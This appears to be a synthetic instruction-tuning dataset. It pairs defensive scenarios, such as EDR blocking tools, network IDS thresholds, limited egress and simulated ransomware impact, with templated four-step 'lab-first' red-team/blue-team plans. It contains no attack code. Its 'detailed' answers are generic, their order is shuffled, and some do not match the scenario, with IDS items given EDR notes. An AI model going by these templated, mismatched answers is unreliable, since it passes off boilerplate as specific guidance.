{"instruction": "Host-level script execution control enabled: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 3: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 3: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Network IDS with strict thresholds: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Network IDS with strict thresholds", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "EDR product blocking common tooling: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "EDR product blocking common tooling", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 3: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nStep 4: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Host-level script execution control enabled: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Host-level script execution control enabled", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based experiments to evaluate stealth approaches without bypassing protections in production.\n\nStep 3: Assess which telemetry sources are capturing blocking events and identify false positives for tuning.\n\nStep 4: Work with defenders to understand detection logic and provide labeled samples for rule refinement.\n\nDefender detection notes:\n\n  - Alerts for script blocking or process termination logged by EDR.\n\nMitigations & hardening:\n\n  - Keep endpoint protections up to date; use allowlisting and strong application control policies.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large sensitive dataset present on fileshare: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Large sensitive dataset present on fileshare", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large sensitive dataset present on fileshare: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Large sensitive dataset present on fileshare", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large sensitive dataset present on fileshare: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Large sensitive dataset present on fileshare", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 3: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 4: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large sensitive dataset present on fileshare: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Large sensitive dataset present on fileshare", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large sensitive dataset present on fileshare: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Large sensitive dataset present on fileshare", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large sensitive dataset present on fileshare: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Large sensitive dataset present on fileshare", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 4: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 3: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 4: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large sensitive dataset present on fileshare: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Large sensitive dataset present on fileshare", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Need to simulate ransomware-style impact: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Need to simulate ransomware-style impact", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large sensitive dataset present on fileshare: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Large sensitive dataset present on fileshare", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 3: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nStep 4: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Limited egress bandwidth environment: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Limited egress bandwidth environment", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 3: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Large sensitive dataset present on fileshare: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Large sensitive dataset present on fileshare", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan mock impact exercises that demonstrate potential business impacts without destructive actions.\n\nStep 3: Validate blue-team detection of suspicious data aggregation and unusual outbound patterns.\n\nStep 4: Simulate staging of data within an isolated lab, capturing file access and process telemetry.\n\nDefender detection notes:\n\n  - Large sequential file reads from atypical accounts or hosts.\n\n  - Anomalous outbound connections to unknown external endpoints or DNS tunneling patterns.\n\nMitigations & hardening:\n\n  - Enforce DLP rules for sensitive file access and restrict direct outbound connections from critical hosts.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
